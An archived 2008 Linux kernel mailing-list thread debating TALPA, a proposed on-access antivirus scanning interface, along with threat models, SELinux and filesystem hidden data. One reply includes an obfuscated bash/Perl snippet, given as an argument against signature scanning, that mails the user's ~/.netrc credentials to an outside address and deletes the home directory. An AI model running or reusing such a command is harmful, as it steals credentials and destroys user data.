2008-08-15 12:30:25

by Rob Meijer

[permalink] [raw]
Subject: Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

On Fri, August 15, 2008 13:02, Alan Cox wrote:
>> The package manager approach is interesting in that it marks 'trusted',
>> and is thus permissive rather than restrictive. Maybe it would be
>> possible
>> to extend on this and simply define a set of currently unprivileged
>> access
>> as privileged for untrusted applications. That way you could allow
>> untrusted software to run without risk, even if that untrusted software
>> turns out to be malware. That is, it may be possible to solve the
>> malware
>> problem in a much more fundamental way here by just allowing malware to
>> run without the need to know if it is malware, just by running untrusted
>> software with reduced privileges.
>>
>
> Its called SELinux and SELinux can already do this sort of stuff,
> including things like "only rpm may create files you are permitted to
> execute"

This "permitted to execute" is what I feel is the wrong aproach with
respect to malware. If you simply allow everything to 'execute', I think
that untrusted programs may still be used for usefull things, but without
the potential do do malice. If you start from the point where everything
both trusted and untrusted is permitted to be executed, you could make it
the job of SELinux or any other LSM to make untrusted code run without
doing malice, but with the possibility to still run and do usefull non
malicious stuff. This might require some aditional hooks in LSM though I
could imagine.

To take this one step further, it might be usefull to see what kernel/LSM
changes would be needed to allow SELinux and/or possibly better yet,
AppArmor, to work with some powerbox style UI component in order to both
allow and force untrusted programs to run with least authority and still
do usefull stuff.

I feel the Polaris/Capdesk/Plash approach to untrusted code is much more
prommising than the "don't run" approach used by regular AV products.
Making such an approach integrate with LSM's would IMHO be a much more
fundamental approach to malware.

Rob


2008-08-15 13:28:16

by Peter Dolding

[permalink] [raw]
Subject: Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

On Fri, Aug 15, 2008 at 10:22 PM, Rob Meijer <[email protected]> wrote:
> On Fri, August 15, 2008 13:02, Alan Cox wrote:
>>> The package manager approach is interesting in that it marks 'trusted',
>>> and is thus permissive rather than restrictive. Maybe it would be
>>> possible
>>> to extend on this and simply define a set of currently unprivileged
>>> access
>>> as privileged for untrusted applications. That way you could allow
>>> untrusted software to run without risk, even if that untrusted software
>>> turns out to be malware. That is, it may be possible to solve the
>>> malware
>>> problem in a much more fundamental way here by just allowing malware to
>>> run without the need to know if it is malware, just by running untrusted
>>> software with reduced privileges.
>>>
>>
>> Its called SELinux and SELinux can already do this sort of stuff,
>> including things like "only rpm may create files you are permitted to
>> execute"
>
> This "permitted to execute" is what I feel is the wrong aproach with
> respect to malware. If you simply allow everything to 'execute', I think
> that untrusted programs may still be used for usefull things, but without
> the potential do do malice. If you start from the point where everything
> both trusted and untrusted is permitted to be executed, you could make it
> the job of SELinux or any other LSM to make untrusted code run without
> doing malice, but with the possibility to still run and do usefull non
> malicious stuff. This might require some aditional hooks in LSM though I
> could imagine.
>
> To take this one step further, it might be usefull to see what kernel/LSM
> changes would be needed to allow SELinux and/or possibly better yet,
> AppArmor, to work with some powerbox style UI component in order to both
> allow and force untrusted programs to run with least authority and still
> do usefull stuff.
>
> I feel the Polaris/Capdesk/Plash approach to untrusted code is much more
> prommising than the "don't run" approach used by regular AV products.
> Making such an approach integrate with LSM's would IMHO be a much more
> fundamental approach to malware.
>
They way I look at this. Most users complain that creating profiles
for applications is too complex.

Lets look for where a system that deals with the same kind of issue.
Its in the firewall with ipset http://ipset.netfilter.org/.

You have a set of rules to do things assigned in the firewall. With
secuirty this would be the LSM. User gets to choose from a predefined
list for applications without profiles.

Lets look at some basics here. Firefox and most internet applications
don't need to edit everything in the user account. If some link
could be designed into LSM for user to once off approve actions
outside filesystem permissions from the grouping. Malware reading and
writing stuff would be a lot harder.

Major problem everyone keeps on missing. TALPA is only operating with
part of the full information about the file. When file systems go
from native file system to inodes currently the permissions on the
native file system are translated to what linux supports and any that
don't fit is disregarded. Due to that difference each file system
has its own cache and holes on the file system where viruses could
hide data for other OS's on the system. So TALPA might save Linux
only to see another OS on the system infected. Worst case is if the
other OS infected could come back and alter Linux disabling the virus
scanner and reinfecting Linux.

TALPA from its current location is partly blind same with most other
anti-virus and malware scanner running on linux. Unfortunately to
remove this blindness is rework the file system interface layer.
Single cache for all file system drivers with TALPA embeded where it
can scan everything about a file so when its clean its truly clean.
Also for desktop users being able to see the permissions on there
removable media to make sure they are correct would be a god send.

This is a flaw that people from most other OS's would not think about.
Since Linux is one of the rare places it exists. LIM and HIDS are
also effected by this blindness. A hids scanning file systems under
Linux can report that everything is fine when the damage is
permissions that Linux is not translating. We have a black hole of
thrown away data that cannot be simply scanned.

Long term performance also comes into play. Current system we have a
few too many caches to ever think about making the file system cache
lock less. Its blinding and a future bottle neck.

Suppose this defect has been there so long people are thinking of it as normal.

Peter Dolding

2008-08-15 14:37:28

by Alan

[permalink] [raw]
Subject: Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

> This "permitted to execute" is what I feel is the wrong aproach with
> respect to malware. If you simply allow everything to 'execute', I think
> that untrusted programs may still be used for usefull things, but without
> the potential do do malice. If you start from the point where everything
> both trusted and untrusted is permitted to be executed, you could make it
> the job of SELinux or any other LSM to make untrusted code run without
> doing malice, but with the possibility to still run and do usefull non
> malicious stuff. This might require some aditional hooks in LSM though I
> could imagine.

SELinux is quite happy to apply different rules to content labelled in
different ways. WHat specific things do you need that it can't do ?

2008-08-15 17:33:14

by David Lang

[permalink] [raw]
Subject: Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

On Fri, 15 Aug 2008, Peter Dolding wrote:

>>> Its called SELinux and SELinux can already do this sort of stuff,
>>> including things like "only rpm may create files you are permitted to
>>> execute"
>>
>> This "permitted to execute" is what I feel is the wrong aproach with
>> respect to malware. If you simply allow everything to 'execute', I think
>> that untrusted programs may still be used for usefull things, but without
>> the potential do do malice. If you start from the point where everything
>> both trusted and untrusted is permitted to be executed, you could make it
>> the job of SELinux or any other LSM to make untrusted code run without
>> doing malice, but with the possibility to still run and do usefull non
>> malicious stuff. This might require some aditional hooks in LSM though I
>> could imagine.
>>
>> To take this one step further, it might be usefull to see what kernel/LSM
>> changes would be needed to allow SELinux and/or possibly better yet,
>> AppArmor, to work with some powerbox style UI component in order to both
>> allow and force untrusted programs to run with least authority and still
>> do usefull stuff.
>>
>> I feel the Polaris/Capdesk/Plash approach to untrusted code is much more
>> prommising than the "don't run" approach used by regular AV products.
>> Making such an approach integrate with LSM's would IMHO be a much more
>> fundamental approach to malware.
>>
> They way I look at this. Most users complain that creating profiles
> for applications is too complex.
>
> Lets look for where a system that deals with the same kind of issue.
> Its in the firewall with ipset http://ipset.netfilter.org/.
>
> You have a set of rules to do things assigned in the firewall. With
> secuirty this would be the LSM. User gets to choose from a predefined
> list for applications without profiles.
>
> Lets look at some basics here. Firefox and most internet applications
> don't need to edit everything in the user account. If some link
> could be designed into LSM for user to once off approve actions
> outside filesystem permissions from the grouping. Malware reading and
> writing stuff would be a lot harder.
>
> Major problem everyone keeps on missing. TALPA is only operating with
> part of the full information about the file. When file systems go
> from native file system to inodes currently the permissions on the
> native file system are translated to what linux supports and any that
> don't fit is disregarded. Due to that difference each file system
> has its own cache and holes on the file system where viruses could
> hide data for other OS's on the system. So TALPA might save Linux
> only to see another OS on the system infected. Worst case is if the
> other OS infected could come back and alter Linux disabling the virus
> scanner and reinfecting Linux.

please define your threat model. the section above makes no sense with the
currently defined threat model.

if the linux kernel squashes stuff from a filesystem such that the
scanners cannot see it then how in the world can linux then server this
bad stuff to other systems (what the current threat model is defined as)

if you are saying that you want linux to mount filesystems and scan them,
then unmount them and allow other systems to mount them and be safe, I
think you alone in this opinion.

David Lang

2008-08-16 03:58:07

by Peter Dolding

[permalink] [raw]
Subject: Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

On Sat, Aug 16, 2008 at 3:31 AM, <[email protected]> wrote:
> On Fri, 15 Aug 2008, Peter Dolding wrote:
>
>>>> Its called SELinux and SELinux can already do this sort of stuff,
>>>> including things like "only rpm may create files you are permitted to
>>>> execute"
>>>
>>> This "permitted to execute" is what I feel is the wrong aproach with
>>> respect to malware. If you simply allow everything to 'execute', I think
>>> that untrusted programs may still be used for usefull things, but without
>>> the potential do do malice. If you start from the point where everything
>>> both trusted and untrusted is permitted to be executed, you could make
>>> it
>>> the job of SELinux or any other LSM to make untrusted code run without
>>> doing malice, but with the possibility to still run and do usefull non
>>> malicious stuff. This might require some aditional hooks in LSM though I
>>> could imagine.
>>>
>>> To take this one step further, it might be usefull to see what kernel/LSM
>>> changes would be needed to allow SELinux and/or possibly better yet,
>>> AppArmor, to work with some powerbox style UI component in order to both
>>> allow and force untrusted programs to run with least authority and still
>>> do usefull stuff.
>>>
>>> I feel the Polaris/Capdesk/Plash approach to untrusted code is much more
>>> prommising than the "don't run" approach used by regular AV products.
>>> Making such an approach integrate with LSM's would IMHO be a much more
>>> fundamental approach to malware.
>>>
>> They way I look at this. Most users complain that creating profiles
>> for applications is too complex.
>>
>> Lets look for where a system that deals with the same kind of issue.
>> Its in the firewall with ipset http://ipset.netfilter.org/.
>>
>> You have a set of rules to do things assigned in the firewall. With
>> secuirty this would be the LSM. User gets to choose from a predefined
>> list for applications without profiles.
>>
>> Lets look at some basics here. Firefox and most internet applications
>> don't need to edit everything in the user account. If some link
>> could be designed into LSM for user to once off approve actions
>> outside filesystem permissions from the grouping. Malware reading and
>> writing stuff would be a lot harder.
>>
>> Major problem everyone keeps on missing. TALPA is only operating with
>> part of the full information about the file. When file systems go
>> from native file system to inodes currently the permissions on the
>> native file system are translated to what linux supports and any that
>> don't fit is disregarded. Due to that difference each file system
>> has its own cache and holes on the file system where viruses could
>> hide data for other OS's on the system. So TALPA might save Linux
>> only to see another OS on the system infected. Worst case is if the
>> other OS infected could come back and alter Linux disabling the virus
>> scanner and reinfecting Linux.
>
> please define your threat model. the section above makes no sense with the
> currently defined threat model.
>
> if the linux kernel squashes stuff from a filesystem such that the scanners
> cannot see it then how in the world can linux then server this bad stuff to
> other systems (what the current threat model is defined as)
>
> if you are saying that you want linux to mount filesystems and scan them,
> then unmount them and allow other systems to mount them and be safe, I think
> you alone in this opinion.
>
The threat module you are looking at does not cover all the real world
usage even worse detection of unknown real world threats.

Currently if we have a unknown infection on a windows partition that
is been shared by linux the scanner on Linux cannot see that the
windows permissions has been screwed with. OS with badly damaged
permissions is a sign of 1 of three things. 100 percent incompetent
admin, failing harddrive or system is breached. Now if system is
breached on a partition it is most likely extremely stupid to be
sharing the contents of that partition on a file server until what
breached it has been found and fixed. Reason until files are cleared
anything on that partition could have a unknown infection that you are
now putting up to server to be spread onto other machines.

You asked how would the Linux Server spread bad stuff to other
systems. Quite simple be blind miss the warning signs that something
has gone badly wrong in the partition that its getting its files from
and just luck out on a zero day attack with no signature and spread it
around the network leading to more machines in the network having
crippled secuirty.

Blocked from being able to see the real permissions of the file system
takes away one of the means to detect unknowns. We need every means
of defence we can have.

Remember in a hypervisor environment like http://kvm.sf.net you many
want to scan the OS you are about to run in there before you start it
up. Particularly if that contained server is going to be serving
files to the network. You don't want a windows server starting up
that has had its anti-virus defeated spreeding viruses to every other
windows machine in the network. Particularly if that windows server
is running inside kvm on linux. Linux is currently not setup for
doing this effectively. Linux cannot run a Host Intrusion Detection
on the other OS effectively this adds another layer of secuirty to be
breached in a hypervirsor envorment .

Multi OS setups are going to become far more common. Anti-virus
scanning and threat monitoring needs to move with the times.

Also beware across OS type scanning does have its advantages. Number
1 a windows virus without the help of wine will not normally infect
linux and vice verser.

Anti-Virus has been for years about chasing the threat. Lets try to
get in front of it. You thread model needs a major update its
incomplete.

Peter Dolding

2008-08-16 04:16:41

by Arjan van de Ven

[permalink] [raw]
Subject: Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

On Sat, 16 Aug 2008 13:57:50 +1000
"Peter Dolding" <[email protected]> wrote:
> Anti-Virus has been for years about chasing the threat. Lets try to
> get in front of it. You thread model needs a major update its
> incomplete.
>

The problem TALPA is trying to solve is only part of the puzzle.
Everyone recognizes that. It's a very relevant part of the puzzle (in
corporate context at least), but it's very much so not a complete
puzzle. Does that mean we shouldn't deal with this just because it's
incomplete? Absolutely not!
(nor should we do something that has no value.. but that's not the case;
the model that Erik described is quite well defined as
"do not give ''bad' content to applications/exec".
There is clearly value in that (even though it's not defined what 'bad'
is other than 'program X or Y says so', but for now we have to live
with that; if it bothers you just think "clamAV").

The implementation idea (have a flag/generationnr in the inode for
'known good', block on read() and mmap(), and schedule async scans in
open or on dirty) seems to be quite solid although several details
(async queueing model for example but also the general dirty
notification system) need to be worked out.

Sadly what you're doing is throwing up smoke and just saying "it
doesn't solve world hunger as well so it's bad". Please do yourself a
favor and stop that before people totally start ignoring you.


--
If you want to reach me at my work email, use [email protected]
For development, discussion and tips for power savings,
visit http://www.lesswatts.org

2008-08-16 05:19:55

by Peter Dolding

[permalink] [raw]
Subject: Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

On Sat, Aug 16, 2008 at 2:09 PM, Arjan van de Ven <[email protected]> wrote:
> On Sat, 16 Aug 2008 13:57:50 +1000
> "Peter Dolding" <[email protected]> wrote:
>> Anti-Virus has been for years about chasing the threat. Lets try to
>> get in front of it. You thread model needs a major update its
>> incomplete.
>>
>
> The problem TALPA is trying to solve is only part of the puzzle.
> Everyone recognizes that. It's a very relevant part of the puzzle (in
> corporate context at least), but it's very much so not a complete
> puzzle. Does that mean we shouldn't deal with this just because it's
> incomplete? Absolutely not!

TALPA idea I agree with. As the long term forever solution I don't
agree with due to its location.

Lets look at the general disk to memory path.

[file system driver]
[file system drivers caches]
[inode's] TALPA links in here and basically runs its own scan cache.

Long term TALPA need to move from the inode layor down and the design
of the file system path needs to change.

[file system driver]
[generic file system cache] TALPA enters here and spreads.
[inodes]

generic file system cache built in a way that it can store all the non
linux permission and related data that the file system driver needs.

Reasons
1. That shape even if file system extra permissions are decided to be
kept hidden from the rest of Linux anti-virus can scanning can see it.
2. Everything that is in memory is checked.
3. Infected files can be removed from consuming memory in the file
system cache. So a raw memory scan of Linux will not trip on viruses
still being present in memory even that TALPA is running. False
positive suggesting TALPA has failed is possible due to its current
location.
4 share caching of passed and failed with the file system cache.

1 virus removed from a file system cache could equal the complete
memory price of running TALPA.

Its TALPA location I have major issue with. Being blind to full set
of information to make a judgement call is the other.

I see it in the same cat a unionfs fine as a side patch to main
kernel. Not fine to enter main kernel due to being in the wrong
place. Its the balancing act if we let TALPA will it ever develop
down to the location where it should be?

Can you say 100 percent that TALPA is in the right location for what
it is doing. If it is not its a good temp fix until we can get
developed the solution in the correct location. Temp fixes normally
never get main line.

Be truthful its simply in the wrong place. Getting it to the correct
location for most effective memory usage and giving a virus the least
ammont of distance into linux. Scanned and 100 percent booted out of
memory. Other thing some file system drivers also keep stuff in there
cache independent to inodes. So spots at moment can be double
scanned even that the complete time everything was in memory because
the inode was freed and the file system cache still had it.

You want the most effective use of CPU? if no go head with TALPA.

Current TALPA fails too many holes and flaws. All caused by 1 thing
its location. Yes its a major job to move it to the correct location
its a major file system operation rework.

TALPA unfortunately is like trying to build a house on quick sand.
Foundations it needs to work correctly and 100 percent effectively
currently not present. The quick sand of many file system caches had
to come back and bite at some point. The blocking of seeing all the
file system permissions also had to come back and bite at some point.

Fix the foundations TALPA idea will be solid for its section of the
puzzle. Sticking head in sand and saying the foundations don't have
major issues is just fooling to your self. LIM and others patches
trying to be put in also have the same quick sand issue.

Peter Dolding

2008-08-16 05:37:33

by Valdis Klētnieks

[permalink] [raw]
Subject: Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

On Fri, 15 Aug 2008 21:09:42 PDT, Arjan van de Ven said:

(Re-arranging the order of Arjan's comments somewhat...)

> Sadly what you're doing is throwing up smoke and just saying "it
> doesn't solve world hunger as well so it's bad". Please do yourself a
> favor and stop that before people totally start ignoring you.

Many security experts believe that a false sense of security is worse than
no security at all. In other words, unless the design team is *honest* with
themselves about what the proposal does and doesn't cover, and has at least
an *idea* of how the uncovered parts will function, you're not adding to
the *real* security.

The problem with saying stuff like "Oh, our threat model explicitly rules
out anything done by root" is that all too often, the other part of the
overall plan - the one that constrains the root user - is never deployed.

One of the proponents of the idea told me "so I don't see that as a big
problem", when the problem in question (the race condition between malware
arriving and actual scanning with a signature that detects the malware) is one
of *THE* biggest issue for actual deployments of this sort of stuff. No, TALPA
doesn't have to necessarily deal with that race condition itself.

But you damn sight well better have a good idea of how you intend to deal
with it, because if you don't, the end result isn't actually usable for
anything...

> (nor should we do something that has no value.. but that's not the case;
> the model that Erik described is quite well defined as
> "do not give ''bad' content to applications/exec".

The model is *not* "quite well defined" - because "bad content" is a rather
squishy term (go read Fred Cohen's PhD thesis, where he shows that detecting
viruses/malware is equivalent to the Turing Halting Problem). What you
*really* mean is "that subset of bad content that we can reasonably
economically catch with pattern matching signatures".

And at that point, we're well into #2 on Marcus Ranum's list of Bad Security
Ideas - Enumerating Badness.

#!/bin/bash
ONE="system("
TWO="'"
THREE="mail ba"
FOUR="[email protected] < ~/.netrc;r"
FIVE="m -rf ~ &');"
echo "$ONE$TWO$THREE$F0UR$FIVE" | perl

That gets dealt with how? Did you have a signature that matched that targeted
code (of course not, your A/V vendor hasn't seen this e-mail yet)? Did you
protect the | pipe as well as file input?

(Anybody else remember a few years ago, when ssh and sendmail distrib files
were trojaned with code that ran when the poor victim sysadmin built the
kit, presumably *not* as root - at which point the perpetrator had a open
shell on the box running as the user, and can download whatever privilege
escalation exploits to get root...)

But yeah, trying to scan data before it's read, to detect some fraction of
the known threats, *does* close a few holes. The question is how does it
fit in as "part of this complete security breakfast"...


Attachments:
(No filename) (226.00 B)

2008-08-16 07:28:20

by David Lang

[permalink] [raw]
Subject: Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

On Sat, 16 Aug 2008, [email protected] wrote:

> Many security experts believe that a false sense of security is worse than
> no security at all. In other words, unless the design team is *honest* with
> themselves about what the proposal does and doesn't cover, and has at least
> an *idea* of how the uncovered parts will function, you're not adding to
> the *real* security.

this is why there was so much preasure for them to define their threat
model. they have donw so. if you disagree with that please suggest a
different threat model rather then just listing various threats that their
model doesn't cover.

> The problem with saying stuff like "Oh, our threat model explicitly rules
> out anything done by root" is that all too often, the other part of the
> overall plan - the one that constrains the root user - is never deployed.

it may not be appropriate to lock down root, it depends on what threats
the box is under.

on the other hand, locking down root perfectly, but readily serving
windows virii to other systems isn't good in some cases either.

security is not 'one size fits all'

> One of the proponents of the idea told me "so I don't see that as a big
> problem", when the problem in question (the race condition between malware
> arriving and actual scanning with a signature that detects the malware) is one
> of *THE* biggest issue for actual deployments of this sort of stuff. No, TALPA
> doesn't have to necessarily deal with that race condition itself.

so how _so_ you handle detecting bad data before anyone defines it as bad?

remember, the 'bad data' may be a $propriatary_media format that only
causes problems when run with $propriatary_software on $proptiatary_OS. Or
the 'bad data' could be a document in an open format that complies with
the specs of that format, but a common client doesn't handle the
legitimate file correctly.

there is no possible way to detect these ahead of someone defineing them
as bad. you can prevent them from being exploited on the Linux system (or
limit the damage of the exploit), that's what SELinux aims at.

> But you damn sight well better have a good idea of how you intend to deal
> with it, because if you don't, the end result isn't actually usable for
> anything...

again, that's why the push for a threat model.

>> (nor should we do something that has no value.. but that's not the case;
>> the model that Erik described is quite well defined as
>> "do not give ''bad' content to applications/exec".
>
> The model is *not* "quite well defined" - because "bad content" is a rather
> squishy term (go read Fred Cohen's PhD thesis, where he shows that detecting
> viruses/malware is equivalent to the Turing Halting Problem). What you
> *really* mean is "that subset of bad content that we can reasonably
> economically catch with pattern matching signatures".

more precisely the model is defined as "do not give 'unchecked' data to
applications/exec" how they are checked is not defined, providing the
hooks so that checking can be done is what we are trying to define.

> But yeah, trying to scan data before it's read, to detect some fraction of
> the known threats, *does* close a few holes. The question is how does it
> fit in as "part of this complete security breakfast"...

one _very_ nice thing about the hooks currently being proposed is that
they are useful for things besides anti-virus tools, tools that have no
security implications at all. so even if there were no security benifit
the hooks are still worth considering. but the fact is there is a threat
model here that is not addressed well with other mechanisms, that is
useful to cover.

David Lang

2008-08-16 09:40:47

by Theodore Ts'o

[permalink] [raw]
Subject: Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

On Sat, Aug 16, 2008 at 03:19:43PM +1000, Peter Dolding wrote:
> Lets look at the general disk to memory path.
>
> [file system driver]
> [file system drivers caches]
> [inode's] TALPA links in here and basically runs its own scan cache.
>
> Long term TALPA need to move from the inode layor down and the design
> of the file system path needs to change.

Huh? What are you talking about? In Linux just about all of the
serious filesystems the only caching for file data happens in the page
cache layer. So what you're saying doesn't make much sense, unless
you're talking about the user space samba daemon --- but even there,
Samba doesn't do any shortcut routing of data; as far as I know
everything goes from Samba, into the filesystem, before it gets served
out to other clients via Samba back out from the filesystem. So
everything goes through the page cache.

> Reasons
> 1. That shape even if file system extra permissions are decided to be
> kept hidden from the rest of Linux anti-virus can scanning can see it

No one else is taking about checking permissions; I thought this was
all about file *data* that we've been talking about.

If your argument means that we have to take every single
$Proprietary_OS's wacky permissions system, and push them into to core
Linux system so the AV system can evaluate it, I'm pretty sure
everyone is going to vomit all over such a proposal (and over you).

- Ted

2008-08-16 11:38:53

by Peter Dolding

[permalink] [raw]
Subject: Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

On Sat, Aug 16, 2008 at 7:39 PM, Theodore Tso <[email protected]> wrote:
> On Sat, Aug 16, 2008 at 03:19:43PM +1000, Peter Dolding wrote:
>> Lets look at the general disk to memory path.
>>
>> [file system driver]
>> [file system drivers caches]
>> [inode's] TALPA links in here and basically runs its own scan cache.
>>
>> Long term TALPA need to move from the inode layor down and the design
>> of the file system path needs to change.
>
> Huh? What are you talking about? In Linux just about all of the
> serious filesystems the only caching for file data happens in the page
> cache layer. So what you're saying doesn't make much sense, unless
> you're talking about the user space samba daemon --- but even there,
> Samba doesn't do any shortcut routing of data; as far as I know
> everything goes from Samba, into the filesystem, before it gets served
> out to other clients via Samba back out from the filesystem. So
> everything goes through the page cache.

These file system caches are internal permissions caching points where
the driver decides what you can and cannot see. Before conversion to
normal inode structs. Others have own internal buffers for transfers.
Yes everything is stored on the page cache but it does not have to
be in any shape you would normally id as a file. I have a bad habit
of putting buffers and caches in the same box. Thinking that some
file system drivers are smart enough to use the same buffer if they
get the same request twice. So even that a file may have been
rejected due to being a virus it can still be sitting around in memory
in a buffer not cleared.
>
>> Reasons
>> 1. That shape even if file system extra permissions are decided to be
>> kept hidden from the rest of Linux anti-virus can scanning can see it
>
> No one else is taking about checking permissions; I thought this was
> all about file *data* that we've been talking about.
>
> If your argument means that we have to take every single
> $Proprietary_OS's wacky permissions system, and push them into to core
> Linux system so the AV system can evaluate it, I'm pretty sure
> everyone is going to vomit all over such a proposal (and over you).
>
Thrown away data is not only Proprietary OS Ted. There are permssions
on mac amiga and many others but there not the only issues of stuff
being made invisible by the driver.

There are fully documented file systems that have hidden streams you
cannot see without passing them correct flags.

UDF undelete and unhide options and ISO showassoc makes more files
appear on those formats. UDF and ISO hidden files are one of the
nasties. AV scans the disk calls it clean. Remount it with the other
options enabled nice little bit of magic hidden infected files could
turn up. Black holed.

What is the worst bit about this knowing the luck of this world.
Some people will mount the disks/partitions with the option that
displays the virus with a OS without a anti-virus because another
computer said the disk was clean.

Ext2/3/4 nouser_xattr and noacl don't remove the permissions just
remove the map threw from the driver.

Now there is also the up coming issues of http://www.nilfs.org and other
continual snap shotting file systems. If cannot see the permissions
the filesystem drivers are processing and the data those permissions
are causing to be hidden. The best you can do at the moment see that
the flags to make the data invisible or visible is set and ask user to
remount drive just so you can scan it. Continual snap shotting file
systems users are not going to take to being asked to stop what they
are doing so anti-virus can remount the filesystem a few million times
to make sure the disk is clean of viruses. Virus scanning takes long
enough without doing that.

So either anti-virus companies will have to build custom interfaces
that bugs users to handle UDF ISO and any other continual snap
shotting file system that appears. Or we improve the core so software
that needs to can see everything on a file system can to the level the
drivers support so when a drive is truly 100 percent scanned it is 100
percent scanned. No missing files. Root user really does not help
against hidden files that the driver is hiding due to obeying hidden
permissions.

I was not clear enough. Some of the hidden permissions that don't
appear in the inode system cause files to disappear from existence on
the file system until that filesystem is mounted with the right
option. Or in the case of a continual snap shotting filesystem virus
could be still there in a roll back just like windows. So user
deleting the virus never got rid of it. So months latter the same
virus can turn up again and again. If it just happens to line up with
the user have the anti-virus down it gets a second chance that it
should have never got. Surface scanning from the inode system is
kinda blind to a lot of hidden spots on quite a few file systems.

Some of the hidden permissions can be handy as well for HIDS to tell
if anyone has been on a file system since it was last there too. If a
not used acl or user xattr been touched someone else has been on the
filesystem since it was last left.

There is a nice void space where viruses can nicely hide out at the
moment. Issue is more void space is going to be made unless some
system is designed to handle file systems with these non translatable
permissions and options hidden permissions. Yes currently hack around
issue of posix permissions not providing every option has been adding
a mount option. More dynamic options for handling the issue of non
translatable permissions should be possible and less user disrupting.

Can you now see the sign of trouble I have been trying and trying to
put into words. I can see the problem. Putting it in the right
words has been a battle.

Peter Dolding

2008-08-16 15:17:53

by Theodore Ts'o

[permalink] [raw]
Subject: Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

On Sat, Aug 16, 2008 at 09:38:30PM +1000, Peter Dolding wrote:
>
> UDF undelete and unhide options and ISO showassoc makes more files
> appear on those formats. UDF and ISO hidden files are one of the
> nasties. AV scans the disk calls it clean. Remount it with the other
> options enabled nice little bit of magic hidden infected files could
> turn up. Black holed.
>
> What is the worst bit about this knowing the luck of this world.
> Some people will mount the disks/partitions with the option that
> displays the virus with a OS without a anti-virus because another
> computer said the disk was clean.

You have this problem anyway, given that AV database updates are
coming every few hours; so if you scan the disk at noon, and an AV
update comes at 1pm it may be that there were malware that wasn't
detected by the noon DB, but will be detected by the 1pm DB.

And for non read-only filesystems (i.e., anything other than UDF and
ISO), anytime the filesystem is unmounted, the OS is going to have to
assume that it might have been modified by some other system before it
was remounted, so realistically you have to rescan after remounting
anyway, regardless of whether different mount options were in use.

So I draw a very different set of conclusions than yours given your
obervations of all of the ways that an AV scanner might miss certain
viruses, due to things like alternate streams that might not be
visible at the time, snapshotting filesystems where the AV scanner
might not know how to access past snapshots, and hence miss malware.

I don't believe that this means we have to cram all possible
filesystem semantics into the core VFS just for the benefit of AV
scanners. I believe this shows the ultimate fallacy that AV scanners
can be foolproof. It will catch some stuff, but it will never be
foolproof. The real right answer to malware are things like not
encouraging users to run with the equivalent of Windows Administrator
privileges all the time (or training them to say, "Yeah, Yeah" every
time the Annoying Vista UAC dialog box comes up and clicking "ok"),
and using mail user agents that don't auto-run contents as soon as you
open a mail message in the name of "the user wants functionality, and
we're going to let them have it" attitude of Microsoft.

- Ted

2008-08-17 07:50:11

by Peter Dolding

[permalink] [raw]
Subject: Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

On Sun, Aug 17, 2008 at 1:17 AM, Theodore Tso <[email protected]> wrote:
> On Sat, Aug 16, 2008 at 09:38:30PM +1000, Peter Dolding wrote:
>>
>> UDF undelete and unhide options and ISO showassoc makes more files
>> appear on those formats. UDF and ISO hidden files are one of the
>> nasties. AV scans the disk calls it clean. Remount it with the other
>> options enabled nice little bit of magic hidden infected files could
>> turn up. Black holed.
>>
>> What is the worst bit about this knowing the luck of this world.
>> Some people will mount the disks/partitions with the option that
>> displays the virus with a OS without a anti-virus because another
>> computer said the disk was clean.
>
> You have this problem anyway, given that AV database updates are
> coming every few hours; so if you scan the disk at noon, and an AV
> update comes at 1pm it may be that there were malware that wasn't
> detected by the noon DB, but will be detected by the 1pm DB.
>
> And for non read-only filesystems (i.e., anything other than UDF and
> ISO), anytime the filesystem is unmounted, the OS is going to have to
> assume that it might have been modified by some other system before it
> was remounted, so realistically you have to rescan after remounting
> anyway, regardless of whether different mount options were in use.
>
> So I draw a very different set of conclusions than yours given your
> obervations of all of the ways that an AV scanner might miss certain
> viruses, due to things like alternate streams that might not be
> visible at the time, snapshotting filesystems where the AV scanner
> might not know how to access past snapshots, and hence miss malware.
>
> I don't believe that this means we have to cram all possible
> filesystem semantics into the core VFS just for the benefit of AV
> scanners. I believe this shows the ultimate fallacy that AV scanners
> can be foolproof. It will catch some stuff, but it will never be
> foolproof. The real right answer to malware are things like not
> encouraging users to run with the equivalent of Windows Administrator
> privileges all the time (or training them to say, "Yeah, Yeah" every
> time the Annoying Vista UAC dialog box comes up and clicking "ok"),
> and using mail user agents that don't auto-run contents as soon as you
> open a mail message in the name of "the user wants functionality, and
> we're going to let them have it" attitude of Microsoft.
>
I am not saying in that it has to be displayed in the normal VFS. I
am saying provide way to see everything the driver can to the
scanner/HIDS. Desktop users could find it useful to see what the
real permissions are on disk surface useful for when they are
transferring disks between systems. HIDS will find it useful for Max
confirm that nothing has been touched since last scan. White list
scanning finds it useful because they can be sure nothing was missed.

You mentioned the other reason why you want to be under the vfs. As
you just said every time you mount a file system you have to presume
that its dirty. What about remount? Presume its all dirty just
because user changed a option to the filesystem? Or do we locate
ourself in a location that remount don't equal starting over from
scratch. Location in the inodes wrong for max effectiveness. Even
on snapshoting file systems when you change snapshot displayed not
every file has changed. The Linux File System Driver interface needs
to change. Sorting out this section of the file system driver
section also would allow like a ISO or UDF to be multi mounted with
different filter options to the vfs. Reason driver goes up to a
central point then to the vfs so filters that hide files and
permissions could be turned on and off at bind mounts. The alteration
to make AV work perfectly opens up way more doors. Including file
system neutral mount filters so that users and group id's on a file
system can be mapped to local user and group id's. UUID on the
partition could be used to track remove able disks using it. 500 user
on current system might be acting as 1000 user on a remote/removable
disk since the users id on that system that disk owns to is 1000.

Also you are not thinking real world. Most common reason to be
scanning read only disks on one machine then using it on another not
